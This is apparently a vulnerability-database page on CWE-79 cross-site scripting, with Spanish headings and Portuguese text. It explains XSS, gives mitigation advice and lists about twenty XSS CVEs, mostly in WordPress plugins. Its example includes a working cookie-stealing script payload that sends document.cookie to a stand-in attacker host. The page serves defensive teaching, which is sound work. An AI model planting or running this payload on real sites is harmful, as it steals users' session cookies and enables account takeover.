Fallos del tipo CWE-79

30.217 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12755HIGHAvaya Spaces XSS VulnerabilityEPSS 0.3%CVE-2024-50580MEDIUMIn JetBrains YouTrack before 2024.3.47707 multiple XSS were possible due to insecure markdown parsing and custom rendering ruleEPSS 0.3%CVE-2024-50582MEDIUMIn JetBrains YouTrack before 2024.3.47707 stored XSS was possible due to improper HTML sanitization in markdown elementsEPSS 0.3%CVE-2024-6518MEDIUMContact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder <= 5.1.19 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-15984HIGHQuickCal <= 1.0.20 - Unauthenticated Stored Cross-Site Scripting via Custom Field ParametersEPSS 0.3%CVE-2025-26588HIGHWordPress TTT Crop Plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-75091HIGHQuill Forms <= 5.7.1 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-17037HIGHKirki <= 6.2.0 - Unauthenticated Stored Cross-Site Scripting via 'comment' ParameterEPSS 0.3%CVE-2026-7543HIGHBreakdance <= 2.7.1 - Unauthenticated Stored Cross-Site Scripting via Webhook Action DetailsEPSS 0.3%CVE-2025-28880HIGHWordPress Blue Captcha plugin <= 1.7.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11333MEDIUMHLS Player <= 1.0.10 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-26589HIGHWordPress IE CSS3 Support Plugin <= 2.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-28889HIGHWordPress Custom Product Stickers for Woocommerce plugin <= 1.9.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31537HIGHWordPress Bulk NoIndex & NoFollow Toolkit plugin <= 2.16 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-7534HIGHSUMO Reward Points for WooCommerce <= 32.7.0 - Unauthenticated Stored Cross-Site Scripting via 'reason' ParameterEPSS 0.3%CVE-2025-28924HIGHWordPress ZenphotoPress plugin <= 1.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-28890HIGHWordPress Lightview Plus plugin <= 3.1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13847MEDIUMPhotoFade <= 0.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2025-28899HIGHWordPress WP Event Ticketing plugin <= 1.3.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31578HIGHWordPress Fonts Manager | Custom Fonts plugin <= 1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%